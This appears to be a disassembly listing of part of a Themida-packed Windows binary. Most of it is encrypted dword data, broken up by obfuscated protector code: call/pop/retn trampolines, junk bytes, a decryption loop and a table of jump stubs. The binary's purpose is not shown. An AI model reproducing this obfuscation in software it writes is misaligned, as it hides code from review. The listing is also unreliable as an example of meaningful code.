dd 6058E208h, 22AF5C71h, 633CAF09h, 9F228FC2h, 0C5666D36h
dd 0AE9A3288h, 4912DB4Ch, 30h, 155CFFD2h, 0F9314BF1h, 0AAAF57D6h
dd 1601C184h, 34982182h, 862B6607h, 0FC0EBC95h, 0B5FFEBCDh
dd 0BC179CB7h, 7F3655BEh, 0DAE14239h, 8FB4F2BBh, 0FB9D5CFFh
dd 0D354D9B2h, 0C32CDA61h, 6942EFA2h, 14FF25CFh, 76F03871h
dd 0B600042Bh, 0FAB3D23Dh, 0A3464B5h, 1B3AE521h, 2C0DCD52h
dd 453A726Eh, 25484FD0h, 0A00D44E4h, 0A7089E77h, 0FA60CD84h
dd 47711770h, 30D67047h, 727D9296h, 51C7703Ah, 29DD66D6h
dd 1AB0EC9Fh, 709CD641h, 54EDEEAAh, 2817938Ch, 90F830BAh
dd 5BF8304Ah, 61CAAF58h, 58FFB969h, 58FB57D0h, 0FFE6C363h
dd 0BA30155Ch, 0D891B31Ch, 80B8425Bh, 42AF57D7h, 0DEC54FE9h
dd 0DFCAE8F4h, 25EF15h, 0E7300000h, 0BA1308ABh, 57D70800h
dd 7451FAAFh, 3CDA1CBAh, 7BBC3A63h, 0FFD6DD5Bh, 0C52B1059h
dd 5EDFE0h, 0E7FA0000h, 0BA1308ABh, 25C2DA1Ch, 559CF9B0h
dd 584FF733h, 8962CDAFh, 4FE1D92Fh, 9780AF58h, 0C07FF973h
dd 5310FFFFh, 57DBF129h, 8F78D3AFh, 0DDBA0229h, 0ABDD59FFh
dd 0AF57D76Fh, 0BACCFA55h, 0AF57D77Eh, 0D4F2EB44h, 5A2E1C82h
dd 0E43497A5h, 0BE21C5BFh, 9731D590h, 0AF57D793h, 4952C671h
dd 88155CFFh, 9DD07152h, 0DE43062Ch, 0B9D6BCDh, 98AF5C59h
dd 0AB74B9F0h, 0A05AC78Ah, 0B3C34E93h, 16BF4270h, 81B9C38Dh
dd 43AF5C7Dh, 0CFBCFFE8h, 753C5F66h, 0A0ED8E31h, 0CC81A203h
dd 6D0FF01Eh, 7D9E9A24h, 0CB64AF5Ch, 923BFE6Dh, 0E9690A11h
dd 5C7D5B5Fh, 0F40E29AFh, 38D8059Ah, 38EEC743h, 71FC01BEh
dd 0DF7EC067h, 27100996h, 0B7A30BF1h, 5612DB80h, 4Ch, 3A59BAE9h
dd 3E175AFBh, 0D71635FAh, 0A20FF8B1h, 0ACEC1E44h, 0F7AF57D6h
dd 98911E5Bh, 8AC36546h, 2C800791h, 0E9EF6976h, 261FDB80h
dd 45A74680h, 0B29DB600h, 8C15866Dh, 127E685h, 0D9B2EB48h
dd 1A3CA74Dh, 0AAF7B2DFh, 0B109871h, 0F1155CFFh, 8DAE6F0Eh
dd 0E241D7C0h, 0A6C8FB59h, 0D0B446EBh, 0D46D8EB0h, 8C3A130Ch
dd 0D8490023h, 0B0BAFEBBh, 36A316h, 70B661B6h, 8ABE74Bh
dd 3459BA13h, 9E442771h, 0D0581535h, 3F59BACBh, 0E6F02976h
dd 0D1DA739Ch, 67C860A0h, 0DA988DC4h, 0CAE8F4FDh, 50EF15DFh
dd 30000000h, 1308ABE7h, 54F61CBAh, 0AF57D754h, 0D6B8F00Ah
dd 0A18AAF57h, 80FCF621h, 0A848FE5Dh, 838741D7h, 41AF5845h
dd 1CBAF1D6h, 87F1D7DAh, 2771D6E2h, 1059FFFCh, 0FE3A4CEAh
dd 0C4AF57D6h, 0D72464A6h, 351EAF57h, 0C5D7DC5Ch, 37DFE0h
dd 0E7FA0000h, 0BA1308ABh, 57D70800h, 57F8D9AFh, 0BA44211Ah
dd 3959BADDh, 0E4FE2F74h, 0D4EAE56Ch, 6A356358h, 0BAA287CEh
dd 10676230h, 12860FF7h, 2A4CB7B7h, 0B7E13A67h, 155CFF6Ch
dd 0F9314BF1h, 0CBAF57D6h, 935BC860h, 0AF5C5905h, 6F763FACh
dd 9E0185CCh, 2F8657FFh, 175988F4h, 627883Eh, 0BD7EED4Bh
dd 0C406A41Fh, 0B604A079h, 0AFE2846Fh, 0DE6CC709h, 430BAF1h
dd 495C7255h, 54EABDFBh, 0E6C30EFBh, 30155CFFh, 0E8F4FDDAh
dd 0EF15DFCAh, 39h, 80ABE730h, 1B0C91D8h, 0BA4522h, 0AF57D708h
dd 1855F5DEh, 0E816829Bh, 0DDBA5A4Fh, 743959BAh, 1CDD7B24h
dd 6C593277h, 4FDFE0C5h, 3B000000h, 0CA8D8CB1h, 9D1B517Ch
dd 8ABE796h, 1C51F1D2h, 1CBA979Ch, 0D75454F6h, 52EAF57h
dd 0D7555593h, 230CAF57h, 357C1C87h, 0F10BBFE8h, 0AF57D6B9h
dd 2308A08Bh, 0DF61CBAh, 0ABFC216Ch, 57D72763h, 0D1321DAFh
dd 71BAFEB7h, 2B1059FFh, 5CFFE0C5h, 600EF115h, 9AFF825h
dd 58C6509Ah, 0FEFAF5Ch, 5963A7E1h, 0F621AF5Ch, 6168C9A2h
dd 943F8BC2h, 0D7D375F1h, 0ADAF5C58h, 8304A982h, 0CA7CAA11h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dword_5B8EA1 dd 0B9B60477h ; DATA XREF: sub_54D401+60Br
; Themida_:005A17C3r
db 9Eh, 8, 23h
dd 1308ABE7h, 733A59BAh, 0C8BBFD2Eh, 155CFFD3h, 0F4FDDA30h
dd 15DFCAE8h, 26EFh, 0ABE73000h, 0BA1308h, 0AF57D708h
dd 0BA7451FAh, 1059FFDDh, 0FE3A4CEAh, 0C4AF57D6h, 0C5E6CD6Bh
dd 1DDFE0h, 0E7FA0000h, 0BA1308ABh, 57D70800h, 8B70D9AFh
dd 59FFDDBAh, 59BA2B10h, 0F029763Fh, 0FFD8CDB8h, 0B2FB9D5Ch
dd 61D354D9h, 3B783D52h, 0ABDD09E2h, 0B5FFDC84h, 0F651D57Eh
dd 0BFC9FD46h, 0BCAECA74h, 0E7B8E54Eh, 0A8E58544h, 0A5C86BBFh
dd 9B8747ECh, 3A35F4E3h, 0BAD9E041h, 690CB7F3h, 39678320h
dd 0F4E38B8Fh, 5ADE7935h, 0D174B9D5h, 29021B98h, 0C7684584h
dd 56D49DC0h, 9A074EEDh, 0C29h, 0A68BCD00h, 0AD8CD481h
dd 0B0A68D2Bh, 1158FFCBh, 3970138Ch, 40092BF4h, 6D2042E3h
dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
dd 8952FA4Ah, 4C281E2h, 83000000h, 148704EAh, 2C895C24h
dd 701C6824h, 1C890000h, 20956824h, 0C890000h, 0EE0D6824h
dd 1C8B06AEh, 4C48324h, 240C8B54h, 5604C483h, 8156DE89h
dd 5646242Ch, 418F2777h, 8418108h, 27775646h, 240C8B5Eh
dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8951241Ch
dd 4C181E1h, 83000000h, 0C8704C1h, 0BBE95C24h, 0A8FFF987h
dd 0E1194E1Fh, 0EE0A0038h, 0AEF58DB8h, 0FFC50306h, 0E203F3E0h
dd 8DC1F33Eh, 0DC3B096Fh, 1DC27609h, 6578C5Ch, 68B3EE0Eh
dd 64490A1Dh, 0C57B6C5Eh, 81D22F16h, 98CAAC5Bh, 0DEF84570h
dd 3D38D005h, 0DC88213Fh, 48E21E5Ch, 48C51645h, 351BA001h
dd 0B49F8630h, 18B5BE50h, 0E25CEF26h, 0B4F25411h, 0C77ECB72h
dd 0CA12A83Eh, 0C497A62Bh, 9F690216h, 30679824h, 0D8909175h
dd 0F2460A48h, 0C4524548h, 5B06EE3Ch, 64622177h, 3E30CC2Eh
dd 0B3372A4Dh, 0E8D8D5Bh, 8006AEF7h, 8D89D2DEh, 6A805B9h
dd 15DD9533h, 0B58B06A8h, 6A81B49h, 146985C7h, 5AB806A8h
dd 9D2B0000h, 6A82B69h, 0BBD85C7h, 6A8h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 207A87C3h, 66561DE8h, 5FD38FBBh, 2A11B5FFh, 95FF06A8h
dd 6A820DDh, 66C7B70Fh, 0BCFFCF81h, 95FF006Ah, 6A81B31h
dd 0DEBC08Bh, 546C29CAh, 25B537F6h, 0B70EC33h, 11E8AEh
dd 620C0000h, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 0F5A8262Ch
dd 0F185895Bh, 8106A82Ah, 7088C3h, 0E8D23300h, 0Fh, 2129C9C2h
dd 4A619D35h, 1CAF052Dh, 516FF67Ch, 212DBD33h, 585806A8h
dd 8B130C8Bh, 0A81639B5h, 53C18106h, 662B7FDDh, 9D62F681h
dd 1143F181h, 858B0914h, 6A80279h, 4765F181h, 8B667CD7h
dd 130C89FAh, 0A03AD781h, 5E85113h, 97000000h, 6220F408h
dd 5E27C080h, 0E904EA83h, 6, 37AFE646h, 0FA8110A4h, 0FFFF904Ch
dd 11850Fh, 8B660000h, 38E9FBh, 19A80000h, 0A37D43ABh
dd 0E9AD9490h, 14h, 0DAA4B1DEh, 7E60EF8Ah, 0CE5F802Ah
dd 32ECD508h, 3EAC1283h, 0FFFF77E9h, 0B7629DFFh, 4DB230CEh
dd 0D362A14Ah, 0B3FAB37Dh, 0FE83609h, 0B0000000h, 2382A580h
dd 0E4E3A2B9h, 8B379C97h, 0F55E1084h, 5E7EC681h, 2BF50000h
dd 0DF8B66D2h, 813234FFh, 7F7B57C8h, 81665931h, 817E21C0h
dd 0B1B8DC1h, 81C38B44h, 0BECD0DC1h, 0D5BD8B4Eh, 8106A81Eh
dd 517232C1h, 510DB47Bh, 11E9h, 13007700h, 81BDA6ADh, 23F73E9Fh
dd 2AA7B85Ch, 48FCE4Fh, 8B535216h, 0F585FDFh, 68Dh, 4D858900h
dd 8306A82Fh, 0CF8004EAh, 14FA8183h, 0FFFFFA2h, 0FFFF9785h
dd 0A8B0FFFh, 60000000h, 0B5896160h, 6A82A2Dh, 768D8D61h
dd 106AEF9h, 0A820A185h, 0B98D8906h, 6A06A805h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 6634C353h, 99EDABFh, 0A830D99Dh, 6985C706h, 9C06A814h
dd 6A000063h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0F948C353h, 0A14FA3A2h, 0C7F8EA2Dh
dd 0A80BBD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0F756F6D5h, 1332DC4Bh
dd 0F8B70FC7h, 840Fh, 0B5FF0000h, 6A82071h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 74C35646h, 60002E68h
dd 8B5FD459h, 0A81DE99Dh, 0DD95FF06h, 5206A820h, 0F08B5AFCh
dd 95FF006Ah, 6A81B31h, 9EBC08Bh, 994E9F11h, 0ABAA42D3h
dd 2E8D8D7Ah, 0B406AEFAh, 0B98D8923h, 6A06A805h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0DFADC357h, 0C7FE1D63h, 0A8146985h, 6DD406h, 0BDBD8B00h
dd 8B06A81Fh, 0A8006585h, 0BD85C706h, 6A80Bh, 8B000000h
dd 41B5FFD3h, 6A06A80Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0DACBC356h, 0AEDF0297h
dd 6699E87Ch, 95FFD78Bh, 6A820DDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 8DC35040h, 14D0BB66h, 95FF006Ah
dd 6A81B31h, 7CEBC08Bh, 3F25694Dh, 0CD76D8A9h, 1ABB68F7h
dd 0B0A21491h, 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh
dd 0F3DB339Ah, 645D5E71h, 6A9A85AFh, 0DC81CBBh, 8A7F013Fh
dd 7B110D12h, 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh
dd 9A1520FDh, 79899Ah, 0A8993585h, 1BDE69B4h, 4F431D26h
dd 0BD131041h, 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h
dd 7F571CF8h, 5074B00h, 6A2D21B1h, 0FB938D8Dh, 958B06AEh
dd 6A806C9h, 5B98D89h, 958906A8h, 6A83121h, 146985C7h
dd 608006A8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 524C93C3h, 2DAEBEB7h, 13E8E1h, 0D2D50000h
dd 0B98D3374h, 0E04B4B64h, 918831CDh, 0D6AA2F1Ah, 8E982h
dd 1A650000h, 41DC909Bh, 665EB2E7h, 85C7F38Bh, 6A80BBDh
dd 0
; ---------------------------------------------------------------------------
mov [ebp+6A80E09h], ecx
push dword ptr [ebp+6A82A11h]
push 0
push ecx
call sub_5B954B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B954B proc near ; CODE XREF: Themida_:005B9543p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5B954B endp
; ---------------------------------------------------------------------------
align 4
retn 1207h
; ---------------------------------------------------------------------------
js loc_5B956B
mov eax, [ebp+6A81691h]
loc_5B956B: ; CODE XREF: Themida_:005B955Fj
call dword ptr [ebp+6A820DDh]
push 0
push ebp
call sub_5B957C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B957C proc near ; CODE XREF: Themida_:005B9574p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5B957C endp
; ---------------------------------------------------------------------------
dec ebp
cmp ebx, ebp
enter 0FFFF8B66h, 0FBh
mov [ebp+6A81DE9h], eax
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5B95B2
; ---------------------------------------------------------------------------
db 0A9h, 0ACh, 3Fh
dd 83FBE56h, 8F91F7ECh
db 0E4h, 83h
; ---------------------------------------------------------------------------
loc_5B95B2: ; CODE XREF: Themida_:005B95A3j
call sub_5B95C2
jmp far ptr 2143h:2FE9958Eh
; ---------------------------------------------------------------------------
dw 0F48Fh
db 69h, 1Eh
; =============== S U B R O U T I N E =======================================
sub_5B95C2 proc near ; CODE XREF: Themida_:loc_5B95B2p
or [ebp+6A80F25h], ecx
pop eax
jmp loc_5B95DF
; ---------------------------------------------------------------------------
dw 9B61h
dd 0FFBBAB91h, 69E1F855h, 97ECA8E1h
db 74h, 26h, 60h
; ---------------------------------------------------------------------------
loc_5B95DF: ; CODE XREF: sub_5B95C2+7j
add eax, 6185h
sub [ebp+6A82089h], edi
mov esi, 1841h
mov [ebp+6A82649h], eax
loc_5B95F6: ; CODE XREF: sub_5B95C2+71j
push dword ptr [eax]
or [ebp+6A80E15h], esi
pop edi
mov [ebp+6A83121h], edi
xor edi, 4DD15EB1h
sub edi, 10B7BC10h
mov cx, 98C3h
add edi, 76BACAA3h
movsx edx, bx
push edi
mov ecx, eax
pop dword ptr [eax]
sub [ebp+6A82B69h], edi
sub eax, 2
cld
dec eax
dec eax
mov cx, si
dec esi
jnz loc_5B95F6
mov dx, cx
lea ecx, [ebp+6AEFCEDh]
mov [ebp+6A82F85h], edx
sub [ebp+6A80185h], edi
mov [ebp+6A805B9h], ecx
push 0
push edi
call sub_5B965F
and [edi-3Dh], bl
sub_5B95C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B965F proc near ; CODE XREF: sub_5B95C2+95p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5B965F endp
; ---------------------------------------------------------------------------
db 23h
; ---------------------------------------------------------------------------
ror dword ptr [ebp+esi-22A674E6h], cl
push ss
mov dword ptr [ebp+6A81469h], 703Ch
push 0
push esi
call sub_5B968D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B968D proc near ; CODE XREF: Themida_:005B9685p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5B968D endp
; ---------------------------------------------------------------------------
db 72h, 0E8h, 3Fh
; ---------------------------------------------------------------------------
mov dl, 92h
mov ebx, 41762C60h
mov dword ptr [ebp+6A80BBDh], 0
jmp loc_5B96C4
; ---------------------------------------------------------------------------
dw 0B499h
dd 0BB186E68h, 1888726Ah, 0A4C5A6C5h
; ---------------------------------------------------------------------------
loc_5B96C4: ; CODE XREF: Themida_:005B96B1j
pusha
sub [ebp+6A81101h], ebx
popa
push dword ptr [ebp+6A805FDh]
jmp loc_5B96E8
; ---------------------------------------------------------------------------
mov byte ptr [edx+6Ch], 6Fh
test [edx+52h], ebx
lds ebp, [eax+4F764AD0h]
pop edx
adc al, 5Dh
xchg eax, edx
loc_5B96E8: ; CODE XREF: Themida_:005B96D2j
call dword ptr [ebp+6A820DDh]
mov ebx, 45950E62h
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5B9779
; ---------------------------------------------------------------------------
db 95h
dd 90BFB804h, 268951F0h, 0D515FD23h, 25263377h, 5968A5A6h
dd 9F32B04Ch, 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh
dd 0AE556D4Bh, 5AC7AD5Ah, 29E6689Ch, 0FA1ABA90h, 0FF1CE034h
dd 83B1F70Ch, 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 426BA1E5h
dd 0C4D71D52h, 7A70BC7h, 1E83DEE1h, 0A761F000h, 4063D40Dh
dd 8143CF37h, 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h
db 0B2h
; ---------------------------------------------------------------------------
loc_5B9779: ; CODE XREF: Themida_:005B96FDj
jmp loc_5B985C
; ---------------------------------------------------------------------------
icebp
jnz short loc_5B979B
imul edx, edi, -64h
inc ebp
retf 0C8C3h
; ---------------------------------------------------------------------------
dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
db 0ABh, 0ECh, 0A7h
; ---------------------------------------------------------------------------
loc_5B979B: ; CODE XREF: Themida_:005B977Fj
and [ebp-6Fh], bl
mov dl, 6Bh
hlt
; ---------------------------------------------------------------------------
db 0B1h, 96h, 20h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 9 dup(0)
; ---------------------------------------------------------------------------
loc_5B985C: ; CODE XREF: Themida_:loc_5B9779j
jmp loc_5BAC75
; ---------------------------------------------------------------------------
push 6AF0048h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF013Bh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0219h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0361h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF03EAh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF049Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF053Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF05E9h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF069Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF07B4h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0880h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF09BDh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0A9Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0BE9h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0D12h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF0F1Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF1015h
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 1
dd 389B2F66h, 67C85E1Bh, 913288C1h, 0C162B8FDh, 0D259EDA0h
dd 9FD2739Fh, 0CB86A80Bh, 0F9B0D47Fh, 2A6302ADh, 0A8D2089Ch
dd 0B606D570h, 6CEE1452h, 0CEA2D2B4h, 0FB96D3Ah, 0B606B30Bh
dd 0D1DA5EF9h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h
dd 3C61CAB5h, 0FFF5FA3Ah, 743D96B5h, 77CD8A66h, 446D14h
dd 0BAB60000h, 6ED0F030h, 0E344B3B5h, 73A40940h, 89326225h
dd 67D42B5Dh, 85AEB600h, 89813B61h, 7BB60068h, 63EB58D0h
dd 0B6006823h, 895DC80h, 77BCF597h, 14A30CBBh, 7C7E278Ch
dd 14774780h, 0D967h, 5CFFB800h, 76178815h, 0C268F63Bh
dd 57D780B8h, 0C06142AFh, 9B04948Dh, 0DD1839F8h, 7AB3F0BDh
dd 120B1C81h, 3871148Dh, 0DC0618E2h, 0FE9DAF57h, 0ADD073B7h
dd 5A3BFE4h, 57DBC7C3h, 2B6F99AFh, 19AF57DCh, 1583AC3Eh
dd 37782292h, 2A252706h, 9D2FDBB4h, 0B600CB4Eh, 74B4D634h
dd 2FB600CBh, 0AA85450Ch, 0B4C315B1h, 0DD28A280h, 7D9B61B7h
dd 74B9FC92h, 8232F523h, 7C678D39h, 0C40296DBh, 0BCAAB16Ch
dd 0E6C9FD56h, 88A10E47h, 0B8D93A20h, 6D0EB1F5h, 0E60CF820h
dd 0AF0CEC80h, 1184D6h, 0D990B700h, 84DE24Dh, 3E7711B2h
dd 6E2B47E8h, 9BD677D8h, 21F1800Fh, 56F94D00h, 822D7934h
dd 0B41FABE2h, 0DA42D891h, 0D6C2C600h, 7A80B606h, 135EFFDDh
dd 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 5155951Ah
dd 6DB60005h, 256C0CF7h, 9B9718F3h, 1477F8AFh, 0F04Eh
dd 5CFFD100h, 76178815h, 124D8F3Bh, 0E15140D8h, 0FDB48E0h
dd 6ECA8FA4h, 58118698h, 0D47758AFh, 0F1941B9Dh, 6C450C30h
dd 7ED675DEh, 515DCA1Dh, 0D3F7E03Ch, 0D8E59A99h, 8A2E678Fh
dd 873C9019h, 1FD28063h, 0BFE8357Ch, 7E8852C6h, 0B6008DEBh
dd 3C7112FDh, 410C2EF7h, 46D2CBDCh, 0B00B9FB8h, 0E503A71Ch
dd 0B3F711BFh, 91B6008Dh, 8E1C1CA6h, 4DE6B600h, 2CB41DEBh
dd 688EBCABh, 0AB2CDADEh, 968FA8BCh, 0A3EE8F70h, 0D69BBC67h
dd 806ABC32h, 66DFDCECh, 1091h, 5EECA5C4h, 891D58F5h, 0FF4B0226h
dd 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh, 0F1933C8Ah
dd 0A2C162B8h, 1DCF5FEBh, 6D7AFEBh, 0E85795B6h, 54F25EFFh
dd 83C66B8Fh, 0BEA6A74Bh, 2FBD491h, 9A57FBE4h, 3E6FB4F9h
dd 69CFD845h, 541D40E3h, 0ABC728D6h, 0C06841EEh, 3559BADBh
dd 89FA3370h, 0AA75A3EAh, 0C45DC28Bh, 0FF3260A1h, 443D1653h
dd 723B5DC6h, 10D1742Dh, 60FE236Eh, 57D6E226h, 9E77A0AFh
dd 604061A5h, 6A41FBDh, 0CEA990F4h, 59DFFB40h, 8026993h
dd 57C0B600h, 5B81CBF1h, 0DA31BFFh, 2560E632h, 66AD8A11h
dd 2F598D36h, 0B4321E9Ch, 0A760CD66h, 6E274675h, 0CBFFE8C1h
dd 0DD87E6B1h, 5773DCBAh, 3A80C96Ch, 183BFA99h, 38407851h
dd 78EE4E0Fh, 0FB3CABBh, 43E60000h, 7E13BC0Ah, 2444EF3Bh
dd 0D876D96Dh, 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h
dd 40C68FADh, 0B1F5BCDFh, 95953735h, 6FB606D9h, 5CFF0229h
dd 6A0EF115h, 55ADFE23h, 0BF8E77Ah, 9D0EAAA9h, 31E2B81Ch
dd 9A2421A7h, 0DCFC9E52h, 3A13A184h, 4863A541h, 3AB6007Dh
dd 846F9511h, 9A0BA8E1h, 5DDBB4F9h, 35D16ACAh, 0A8983893h
dd 0FC210ABCh, 91DC7D66h, 4B9D1B0Ch, 0BCA8984Bh, 17238C67h
dd 1F8F173Bh, 45C2h, 0B5E76500h, 38B2D80Eh, 2796B8E8h
dd 501D3E50h, 0B7E1DAD3h, 0ED24B1h, 0A9B03AB6h, 7871A997h
dd 0B2ABE688h, 4B7FD866h, 398DC468h, 54CF0D3h, 0DF298F98h
dd 0B60174D9h, 0A4E2ABCAh, 931059FBh, 0EE432h, 0B5E71500h
dd 86AED80Eh, 7CB606D5h, 0D4ACEC1Eh, 0BD96B606h, 9EBD26C4h
dd 4DF053D7h, 0BE1E9F04h, 0D4A7E105h, 0AEBCB5D2h, 9D3B6185h
dd 0D2D5D577h, 84AFBCB5h, 0B5D33E7Ah, 0A9CA04BCh, 855DA930h
dd 0A9503FCh, 3BE4226Bh, 23B55118h, 41E4CFCDh, 7872AB08h
dd 0A6077278h, 0F96ACE87h, 83279C30h, 97DE7A65h, 4187110Ah
dd 0C35D957Ah, 0A939EF48h, 0EBE5CE02h, 0E6B77C8h, 0FB9E0000h
dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h
dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h, 0DDDD6FFDh
dd 0A7B606D9h, 5EA6BA61h, 5DAF57D7h, 78A644FFh, 0EDF598D2h
dd 754CE665h, 58A14D4Dh, 9C1C37AFh, 79EC74Ah, 7492BDB6h
dd 0F46E5CEh, 802F89A2h, 0AD1694DDh, 8C5AC78Eh, 0EE4A0F23h
dd 0EAA1FB59h, 2A63012Bh, 825A9485h, 8238113Dh, 0AFE16178h
dd 0D00823BCh, 0EC7BB6BCh, 0E266DFDCh, 1500000Dh, 44EF3B72h
dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h
dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B606DA64h
dd 0FF33185Eh, 1788155Ch, 1793B574h, 57D6B5F5h, 0CBA48FAFh
dd 4BA234D2h, 0E6F50B49h, 7B71484h, 17030F90h, 0F612DFFDh
dd 814h, 0EB5E749h, 0D4F0AED8h, 79D2B606h, 8AC3624Dh, 85001A5Ch
dd 3C399D7Eh, 42E816FCh, 258AC361h, 0B3CECAF4h, 9BB4B606h
dd 77F3921Dh, 6B3D5D5h, 0E3AACEB6h, 0D25F48E3h, 6B40C08h
dd 962D8FB6h, 0E4F3D670h, 0AF5BCAEh, 0ABFC2164h, 0B068C30Dh
dd 0EC7CB316h, 2E5C2586h, 6100000Dh, 983B8FC6h, 0C768BEFBh
dd 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh, 2B6608ABh
dd 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606DB10h, 0BA8FB4F2h
dd 2F743959h, 56F5BAFEh, 7211921Fh, 0A6C4F63Bh, 0D6CACE78h
dd 9FB8AF57h, 0F101A219h, 12DFD205h, 763E0h, 5EA63B00h
dd 5DAF57D7h, 78A644FFh, 7BBDF497h, 6D473EDh, 0C0E651B6h
dd 0CECA7C9Ah, 0B4B606D3h, 470E2A9Bh, 0EE2F4ED1h, 992D064Fh
dd 0D15E1736h, 0AB5FE448h, 0AF053A11h, 0F92F08BCh, 0EC7C92C7h
dd 9219EAC9h, 0C500000Ch, 0F45FEBA2h, 238C1A5Fh, 55FE4C05h
dd 852E7C39h, 961DA9E4h, 430E2FE3h, 773A5CC7h, 0A5EC9033h
dd 0D69FBE61h, 0F416D450h, 0B606DBB4h, 0FFE3488Eh, 5288155Ch
dd 0E4ADCB34h, 64A46EBFh, 5EAF57D7h, 59FCA3F5h, 6909EA10h
dd 0AAEFF24h, 0CA660899h, 6057C55h, 77BC959Eh, 5FC481AEh
dd 4F417983h, 2803AF58h, 5C63CCE9h, 0FF28753Ch, 0C66F4C06h
dd 0DFAAD8B4h, 6A23F12h, 0E7000000h, 0AED80EB5h, 0B606D545h
dd 0B3F69C3Fh, 0A0C32CDAh, 53F25DE9h, 5155951Ah, 4AB606D5h
dd 13B551EAh, 0BCAF0638h, 0C387210Ah, 0CDEC7C91h, 0BE315EEh
dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh
dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh
dd 65A5E705h, 5FB606DCh, 5CFF3219h, 6DB2FB9Dh, 45DE433Ch
dd 2018A226h, 0E2AF57D7h, 0BBD35049h, 53230B4Dh, 0D3564453h
dd 3545EE45h, 12DF1259h, 613BCh, 3F5D4600h, 3D583D97h
dd 5FEC55Fh, 63A68893h, 5AF57D7h, 0AB0F59Ah, 57D6B8F0h
dd 77A18AAFh, 3A71CB0h, 6D479F9h, 0DAED6FB6h, 73E19852h
dd 3D163870h, 0C6072689h, 0B4F2EBA2h, 0FC21680Bh, 8422993Bh
